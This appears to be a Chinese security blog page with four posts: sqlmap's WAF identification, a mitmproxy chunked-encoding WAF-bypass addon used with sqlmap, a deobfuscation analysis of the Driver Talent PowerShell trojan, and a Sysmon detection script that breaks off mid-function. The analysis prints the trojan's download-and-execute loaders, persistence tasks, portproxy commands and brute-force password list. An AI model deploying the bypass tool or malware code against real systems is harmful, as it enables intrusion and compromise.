sqlmap自带的waf识别体验

发布时间:July 16, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

今天晚上更新sqlmap的时候意外的发现多了一些内容

 create mode 100644 thirdparty/identywaf/LICENSE
 create mode 100644 thirdparty/identywaf/__init__.py
 create mode 100644 thirdparty/identywaf/data.json
 create mode 100755 thirdparty/identywaf/identYwaf.py
 delete mode 100644 waf/360.py
 delete mode 100644 waf/__init__.py
 delete mode 100644 waf/aesecure.py
 delete mode 100644 waf/airlock.py
 delete mode 100644 waf/anquanbao.py
 delete mode 100644 waf/approach.py
 delete mode 100644 waf/armor.py
 delete mode 100644 waf/asm.py

删除了以前的waf/xxxx.py的内容,多了一个identywaf/identYwaf.py和identywaf/data.json

可以看到一堆参数

Usage: python identYwaf.py [options] <host|url>

Options:
  --version           Show program's version number and exit
  -h, --help          Show this help message and exit
  --delay=DELAY       Delay (sec) between tests (default: 0)
  --timeout=TIMEOUT   Response timeout (sec) (default: 10)
  --proxy=PROXY       HTTP proxy address (e.g. "http://127.0.0.1:8080")
  --proxy-file=PRO..  Load (rotating) HTTP(s) proxy list from a file
  --random-agent      Use random HTTP User-Agent header value
  --code=CODE         Expected HTTP code in rejected responses
  --string=STRING     Expected string in rejected responses
  --post              Use POST body for sending payloads

利用MitmProxy实现http协议分块传输绕过自动脚本

发布时间:July 7, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

主要是在某xxx里面遇到了.直接测试发现被拦截,碰巧搜到了http协议分块传输绕过waf。还给出了yi g一个burp的插件地址chunked-coding-converter.但是我要是sqlmap跑的话,好像不是很方便!(其实这错了。好像可以全局给设置的.这个是后话)

想到了使用代理把数据给改变一下。还真让我搜到了有人做过类似的东西了sqlmap_chunked_proxy.只是我实际测试的适合好像发现一直报错

[+] chunked Succeeded
Traceback (most recent call last):
  File "sqlmap_chunked_proxy.py", line 121, in <module>
    aa = hack.httpraw(raw)
  File "/usr/local/lib/python3.7/site-packages/HackRequests/HackRequests.py", line 220, in httpraw
    conn.putheader(k, v)
  File "/usr/local/Cellar/python/3.7.3/Frameworks/Python.framework/Versions/3.7/lib/python3.7/http/client.py", line 1197, in putheader
    raise ValueError('Invalid header name %r' % (header,))
ValueError: Invalid header name b''

改了半天也不知道啥问题,还发现实际测试的时候发现cookie丢失了,好多问题索性修改一个吧。

修改抓包截包改报还得首推mitmproxy.直接写一个插件就可以修改了,这类借鉴了sqlmap_chunked_proxy的编码方式。很容易就实现了一个

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

'''
mitmdump -k -s chunked_proxy.py -p 9999
'''

import mitmproxy.http
from mitmproxy import ctx
import random,string


def Confuse():
    Confuse = ''.join(random.sample(string.ascii_letters + string.digits,random.randint(1,9)))
    return Confuse

def payloadlistnum(s):
    while True:
        n = random.randint(1, len(s))
        num = len(s) / n
        if num < 9:
            return n

def payloadlist(s, n):
    fn = len(s) // n
    rn = len(s) % n
    sr = []
    ix = 0
    for i in range(n):
        if i < rn:
            sr.append(s[ix:ix + fn + 1])
            ix += fn + 1
        else:
            sr.append(s[ix:ix + fn])
            ix += fn
    return (sr)

def payload2(s,n):
    payload2 =''
    for i in payloadlist(s, n):
        if len(i) == 0:
            pass
        else:
            payload2 = payload2 + str(len(i))+';'+Confuse()+'\n'+str(i)+'\n'
    payload2 = payload2 + '0' + '\n' + '\n'
    return (payload2)

def tamper(s):
    n = payloadlistnum(s)
    return (payload2(s,n))

class Counter:

    def __init__(self):
        pass

    def request(self, flow: mitmproxy.http.HTTPFlow):
        #add Transfer-Encoding: chunked
        if flow.request.method == "POST":
            try:
                if flow.request.headers['Content-Length']:
                    flow.request.headers["Transfer-Encoding"] = "chunked"
                content = tamper(flow.request.text)
            except:
                content = flow.request.text
            # get request body
            flow.request.text =  content
            ctx.log.info("Request Data: %s" % str(flow.request.text))
        else:
            flow.request.text = flow.request.text

    def response(self,flow: mitmproxy.http.HTTPFlow):
        flow.response.content = flow.response.content
        ctx.log.info("Response Data: %s" % str(flow.response.text))

addons = [
    Counter()
]

使用方法也是很简单的.首先启一个代理

mitmdump -k -s chunked_proxy.py -p 9999

然后调用sqlmap来跑,需要把流量过代理

python sqlmap.py -r ~/Downloads/123 --level 3 --risk 1 --random-agent --proxy=http://127.0.0.1:9999 -p UseerName --tech E -p UserName --dbms 'Microsoft SQL Server'

驱动人生某样本分析

发布时间:March 10, 2019 // 分类:运维工作,linux,windows // No Comments

今日某应急中遭遇到了驱动人生木马,对其中对一个powershell脚本进行了分析,发现挺有意思对 。该后门在原本的基础上进行了延伸,除了常规的内网端口扫描,smb弱口令爆破,hash传递攻击还加入了17010漏洞扫描的功能。

利用某大佬的话来说。由于木马是样本都是不落地的方式,核心技术是通过定时计划任务执行powershell代码达到持续控制的目的,因此最先分析powershell代码,了解它做了哪些动作,指定查杀手段。

最初的时候是发现在计划任务里面有一个

powershell" -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=

对其进行解密

echo SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= |base64 -D

IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)%

主要是获取当前的机器名称来匹配http://v.beahh.com/v{name} 。随意构造一个来获取

Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('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')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

需要对这串看不懂的东西进程解密。在powershell里面Invoke-Expression是可以把任何字符都当成PowerShell脚本来执行。确实是创建动态执行的好东西。直接更改Invoke-Expression为Write-Host即可.(有些类似于php里面的万能的echo)

解密出来发现还是被加密了

着重看后面的

Gqw+Gqw{)1- tg- )','
4FX4FX = valfs]gnirGqw+Gqwts[Gqw((b3P) ; [aRray]::reverse( ( VARiABlE (Gqw7XP8Gqw+Gqw0','GqwuCteG::]ytitnedIswodniW.lapicni')).RePlacE(([CHaR]97+[CHaR]99+[CHaR]68),'|').RePlacE(([CHaR]98+[CHaR]51+[CHaR]80),[strING][CHaR]34).RePlacE('0VP',[s
trING][CHaR]36).RePlacE(([CHaR]71+[CHaR]113+[CHaR]119),[strING][CHaR]39)|&((get-varIAblE '*MDR*').NAme[3,11,2]-joIn'')

在powershell里面执行了一次

PS >((get-varIAblE '*MDR*').NAme[3,11,2]-joIn'')
iex

既然是iex就好办了。继续输出Write-Host

4FX4FX = valfs]gnirGqw+Gqwts[Gqw((b3P) ; [aRray]::reverse( ( VARiABlE (Gqw7XP8Gqw+Gqw0','GqwuCteG::]ytitnedIswodniW.lapicni')).RePlacE(([CHaR]97+[CHaR]99+[CHaR]68),'|').RePlacE(([CHaR]98+[CHaR]51+[CHaR]80),[strING][CHaR]34).RePlacE('0VP',[strING][CHaR]36).RePlacE(([CHaR]71+[CHaR]113+[CHaR]119),[strING][CHaR]39)|& Write-Host


仔细观察了半天,发现这个( $eNV:cOmSpec[4,24,25]-JoIN'')里面的env很可疑,应该是一个获取系统环境变量的东西。继续在powershell运行查看是什么

好吧,还是iex.既然是iex就好办了。继续输出Write-Host

4FX4FX = valfs]gnir'+'ts['((") ; [aRray]::reverse( ( VARiABlE ('7XP8'+'0') -VA )) ;
Write-Host ( " $( $ofS ='') " + [stRiNG](( VARiABlE ('7XP8'+'0') -VA ) )+" $( SEt-ITEM 'VariABLE:OFs'  ' ' ) " ) 

执行后明显可以看到一些东西了。比如创建任务和下载东西

但是被混淆了。还需要继续解密。

') -CREplace  'sfl',[CHAR]36 -CREplace '8ex',[CHAR]124 -REPlaCE  'XF4',[CHAR]34-CREplace  'rpK',[CHAR]39 -CREplace([CHAR]104+[CHAR]56+[CHAR]65),[CHAR]92) | .( $ShelLiD[1]+$sHELlid[13]+'X')

主要是这个.( $ShelLiD[1]+$sHELlid[13]+'X')长的太像iex了。只是更改试试

果不其然,还是iex.继续继续输出Write-Host

') -CREplace  'sfl',[CHAR]36 -CREplace '8ex',[CHAR]124 -REPlaCE  'XF4',[CHAR]34-CREplace  'rpK',[CHAR]39 -CREplace([CHAR]104+[CHAR]56+[CHAR]65),[CHAR]92) | Write-Host

执行后成功的拿到了没有混淆的源码

[string]$av = ""
[string]$avs = ""
[string]$log1 = ""
[string]$log2 = ""
[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$avs = (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct).displayName
if($avs.GetType().name.IndexOf('Object') -gt -1){
    for($v = 0; $v -lt $avs.Count; $v++){
        $av += $avs[$v] + "|"
    }
}else{
$av = $avs
}
try{
    if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){
        $av += 'ZDFY'
    }
}catch{}
#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum 100000))
$path = "$env:temp\\ppppp.log"
[string]$flag = test-path $path
try{
$log1 = (Get-EventLog -LogName 'Security' -After (get-date).AddDays(-7) -befor (get-date).AddDays(-3)).length
$log2 = (Get-EventLog -LogName 'Security' -After (get-date).AddDays(-2)).length
}catch{}
$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME + "&log1=" + $log1 + "&log2=" + $log2
if($flag -eq 'False'){
    try{
        $file = "$env:appdata\\Microsoft\\cred.ps1"
        $size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum
        if($size -ne 2997721){
            $url = 'http://27.102.107.137/new.dat?pebb' + $key
            (New-Object System.Net.WebClient).DownloadFile($url,"$file")
            $size2 = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum
            if($size2 -eq 2997721){
                $status = 'add_ok'
                if (([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")){
                &cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\Microsoft\cred.ps1" /F
                }else{
                &cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\Microsoft\cred.ps1" /F
                }
            }else{$status = 'error'}

        }else{      $status = 'old1'        }       New-Item $path -type file   }catch{}}else{$status = 'old2'}
try{    $download = 'http://27.102.107.137/status.json?pebb' + $key  + "&" + $status  + "&" + $MyInvocation.MyCommand.Definition    IEX (New-Object Net.WebClient).DownloadString("$download")}catch{}
try{
    &cmd.exe /c schtasks /delete /tn "\Microsoft\Credentials" /f
}catch{}
[System.Threading.Thread]::Sleep(3000)
Stop-Process -Force -processname powershell

主要的功能是获取当前的mac地址等基本信息,然后检测是不是存在360主动防御服务等类似的防病毒软件。然后下载http://27.102.107.137/new.dat 到本地appdata\Microsoft\cred.ps1。添加计划任务Credentials和\Microsoft\Credentials。

紧接着对http://27.102.107.137/status.json 进行分析,使用同样的方式进行还原。

[string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1)    for($v = 0; $v -lt $avs.Count; $v++){       $av += $avs[$v] + "|"   }}else{$av = $avs}try{  if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){       $av += 'ZDFY'   }}catch{}$path1 = "$env:temp\\ddd.tmp"[string]$ddd = test-path $path1$status = 'problem'$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME + "&kill=" + $tkill + "&status="if($av.IndexOf("ZDFY") -ne -1){  $status = 'ZDFY'}elseif(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") -and ($ddd -eq 'False')){   try{        New-Item $path1 -type file      $url = 'http://27.102.107.137/ddd.png?p=ddd' + $key     $pname = -join ([char[]](97..122) | Get-Random -Count (Get-Random -Minimum 4 -Maximum 8))       $pnamepath = $pname + '.exe'        $pnamepath = "$env:SystemRoot\" + $pnamepath        $wc = New-Object System.Net.WebClient       $wc.DownloadFile($url, $pnamepath)      $status = 'error'       $dsize = (Get-ChildItem $pnamepath -Force -recurse | Measure-Object -property length -sum).sum      if($dsize -eq '1634984'){       &cmd.exe /c schtasks /create /ru SYSTEM /sc MINUTE /mo 30 /st 07:00:00 /tn "\Microsoft\Windows\Location\$pname" /tr "$pnamepath" /F     $status = 'addok'       }   }catch{}}elseif($ddd -ne 'False'){  $status = 'old'}else{   $status = 'Low'}New-Item $path1 -type filetry{  $download = 'http://27.102.107.137/ddd.json?p=ddd' + $key + $status IEX (New-Object Net.WebClient).DownloadString("$download")  &cmd.exe /c schtasks /delete /tn "\Microsoft\Credentials" /f}catch{}

利用同样的方式还原了http://27.102.107.137/new.dat

其中的一个base64里面包含了添加任务和端口策略的脚本

cmd.exe /c netsh.exe firewall add portopening tcp 65533 DNS&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn  "\Microsoft\windows\Bluetooths" /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AZQBiAD8AMwAyACcAKQA=

cmd.exe /c netsh.exe firewall add portopening tcp 65533 DNS&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn  "\Microsoft\windows\Bluetooths" /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AZQBiAD8ANgA0ACcAKQA=" /F


然后对10/172/192.168三个段特别上心。不然就访问https://api.ipify.org/ 获取公网Ip进行扫描
自带的弱口令

WmicUSER = @("administrator")
allpass = @("123456","password","PASSWORD","football","welcome","1","12","21","123","321","1234","12345","123123","123321","111111","654321","666666","121212","000000","222222","888888","1111","555555","1234567","12345678","123456789","987654321","admin","abc123","abcd1234","abcd@1234","abc@123","p@ssword","P@ssword","p@ssw0rd","P@ssw0rd","P@SSWORD","P@SSW0RD","P@$$w0rd","P@$$word","P@$$w0rd","iloveyou","monkey","login","passw0rd","master","hello","qazwsx","password1","qwerty","baseball","qwertyuiop","superman","1qaz2wsx","fuckyou","123qwe","zxcvbn","pass","aaaaaa","love","administrator")

内置了17010漏洞扫描

主要是学会了学会了不同的iex写法

PS C:\Users\Administrator\Desktop> ((get-varIAblE '*MDR*').NAme[3,11,2]-joIn'')
iex
PS C:\Users\Administrator\Desktop> ( $eNV:cOmSpec[4,24,25]-JoIN'')
iex
PS C:\Users\Administrator\Desktop> ( $ShelLiD[1]+$sHELlid[13]+'X')
ieX
PS C:\Users\Administrator\Desktop> $pname = -join ([char[]](97..122) | Get-Random -Count (Get-Random -Minimum 4 -Maximum 8))
PS C:\Users\Administrator\Desktop> $pname
wvhni
PS C:\Users\Administrator\Desktop> ((vaRIABlE '*MDR*').NAme[3,11,2]-JoIn'')
iex
PS C:\Users\Administrator\Desktop> .( $pSHoME[4]+$pshOME[34]+'X')

cmdlet Invoke-Expression at command pipeline position 1
Supply values for the following parameters:
Command: .( $pSHoME[4]+$pshOME[34]+'X')
PS C:\Users\Administrator\Desktop> ( $pSHoME[4]+$pshOME[34]+'X')
ieX

相关的计划任务差不多齐了,清理掉

schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn  "\Microsoft\windows\Bluetooths" /tr 

schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn  "\Microsoft\windows\Bluetooths" /tr 

schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\Microsoft\cred.ps1"

schtasks /create /ru SYSTEM /sc MINUTE /mo 30 /st 07:00:00 /tn "\Microsoft\Windows\Location\$pname" /tr "$pnamepath" /F

需要清理掉相关文件如下

\AppData\Roaming\sign.txt
\AppData\Roaming\flashplayer.tmp
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FlashPlayer.lnk
%systemroot%\xxx.exe[xxx为随机数]`[-join ([char[]](97..122) | Get-Random -Count (Get-Random -Minimum 4 -Maximum 8))]`

提供解密后的部分下载
new.dat
status.json
v

windows进程监控之恶意识别

发布时间:January 11, 2019 // 分类:工作日志,开发笔记,linux,python,windows // No Comments

前不久更新了针对windows下命令记录的种种,并利用beat对系统进行监控。达到了利用winlogbeat来发送sysmon记录的日志到logstash.采用elk进行统一展示的过程。这些主要的目的就是收集所有的日志,但是还缺少对日志的进一步分析。因此对这个想法做了一个简单的demo

PS:现场部署以后会发现大量的数据写入es的时候会超时,导致数据写入不完整。想着在中间放一个中间件来缓冲一下写入的频率.这里选择来kafka来实现

简单的数据拉取

import time
from elasticsearch.exceptions import TransportError
from elasticsearch import Elasticsearch
from units import match_rule

es = Elasticsearch()

"""
ssh -CfNg -L 9200:127.0.0.1:9200 root@192.168.0.xxx
ssh -CfNg -L 5601:127.0.0.1:5601 root@192.168.0.xxx
"""
index = 'windowsevt*'

query = '''{
       "query":{
            "bool":{
                "must":[
                    {
                        "match":{
                            "source_name":"Sysmon"
                        }
                    },
                    {
                        "term":{
                            "event_id":1
                        }
                    }
                ]
            }
        },
      "sort":{
            "@timestamp":{ 
                "order":"asc"
            }
        },
    "from": 0,
    "size": 20
}'''
try:
    resp = es.search(index, body=query)
    total = resp['hits']['total']
    print total
    for item in resp['hits']['hits']:
        print match_rule(item['_source']['event_data'])
except TransportError as e:
    print(e.info)

当把数据从es拉出来以后需要从三个维度进行分析(hash,命令和进程产生网络)

利用hash进行匹配,默认记录的是sha1,但是加载了配置文件后改成了md5/sha256.主要依靠的是第三方的一些平台来进行匹配。分别采了ti.360.net和s.threatbook.cn两个。但是发现360对相关的搜索有限制(但是提供了api搜索,不过没有找到),微步还好一些(提供api搜索和爬虫两种)。最后采用了微步的搜索结果。

class Threatbook(object):

    def __init__(self,hashes,method):
        self._hash = hashes
        self._method = method
        self._request = requests.session()
        self._headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',
            'Accept': 'application/json, text/javascript, */*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.9,es;q=0.8,fr;q=0.7,vi;q=0.6',
            'Cookie': 'session=cookies',
            'Origin': 'https://s.threatbook.cn',
            'Content-Type': 'application/json',
            'Cookie': 'cookies'
        }
        self.webu = {
            'malicious':'检测为恶意文件', 
            'suspicious':'提示为可疑文件', 
            'clean':'文件暂未发现可疑'
        }


    def get_result_api(self,sandbox_type,sha256):
        url = 'https://s.threatbook.cn/api/v2/file/report'
        data = ("apikey=apikey&sandbox_type={sandbox_type}&sha256={sha256}").format(sandbox_type=sandbox_type,sha256=sha256)
        #print data
        response = requests.get(url+"?"+data,timeout=30,verify=False)
        content = json.loads(response.content)
        return json.dumps(content['data']['summary'])

    def get_result(self):
        item = {}
        url0 = "https://s.threatbook.cn/api/v3/webpage/search"
        url1 = "https://s.threatbook.cn/api/v3/webpage/summary/{sha256}"
        url2 = "https://s.threatbook.cn/api/v3/webpage/static/{sha256}"
        url3 = "https://s.threatbook.cn/api/v3/webpage/sandbox/{sha256}"
        data = '''{"method":"md5hases"}'''
        try:
            resp0 = self._request.post(url0,data=data.replace('md5hases',self._hash).replace('method',self._method),headers=self._headers,timeout=30,verify=False)
            if resp0.status_code !=200:
                return
            content0 = json.loads(resp0.content)
            info = ""
            try:
                if "multi_engines" in str(content0['data']):
                    item["multi_engines"] = content0['data'][0]["multi_engines"]
            except:
                pass
            try:
                if "judgment" in str(content0['data']):
                    item["judgment"] = content0['data'][0]["judgment"]
            except:
                pass

            for xfile in content0['data']:
                info = xfile['sha256'] + "-"+ xfile['sandbox_type']

            if len(info)==0:
                return item

            url1 = url1.format(sha256=info)
            url2 = url2.format(sha256=str(info.split('-')[0]))
            url3 = url3.format(sha256=str(info))

            resp1 = self._request.get(url1,headers=self._headers,timeout=30,verify=False)
            content1 = json.loads(resp1.content)
            tables = content1['data']
            tagx = []
            for table in tables:
                if table == "threat_level":
                    item[table] = self.webu.get(tables[table])
                elif table == "tag":
                    for name in tables[table]:
                        tagx.extend(tables[table][name])
                    item[table] = list(set(tagx))
                else:
                    item[table] = tables[table]
            resp2 = self._request.get(url2,headers=self._headers,timeout=30,verify=False)
            content2 = json.loads(resp2.content)
            basics = content2['data']['basic']
            for basic in basics:
                item[basic] = basics[basic]

            resp3 = self._request.get(url3,headers=self._headers,timeout=30*2,verify=False)
            content3 = json.loads(resp3.content)
            iocs = content3['data']['ioc']
            if len(iocs)>0:
                item["ioc"] = iocs
            mtasg = []
            for iocx in iocs:
                mtasg.extend(iocx['tag_list'])
            if len(list(set(mtasg)))>0:
                item["ioctag"] = list(set(mtasg))
            return json.dumps(item)

        except Exception as why:
            print "error",why
            traceback.print_exc()

这里还可以对文件hash做一个去重查询的处理,一旦确定某些文件的hash是正常的就没有必要调用查询接口,还可以节省资源。

匹配参数进程信息。主要是针对一些探测类的命令。这种命令不是恶意进程,是系统自带的一些。因此对其增加规则来达到检测恶意命令的匹配。

(这里采取regex和match两种方式,因此在match的时候误报率有点高)一旦匹配上就输出可以信息

def match_rule(event_data):
    hashes = event_data['Hashes']
    if "," in hashes:
        Hashe = hashes.split(',')[0]
    else:
        Hashe = hashes
    method,nhashes = str(Hashe.split('=')[0]).lower(),str(Hashe.split('=')[1]).lower()
    ti = Threatbook(nhashes,method)
    print ti.get_result()
    for name in event_data:
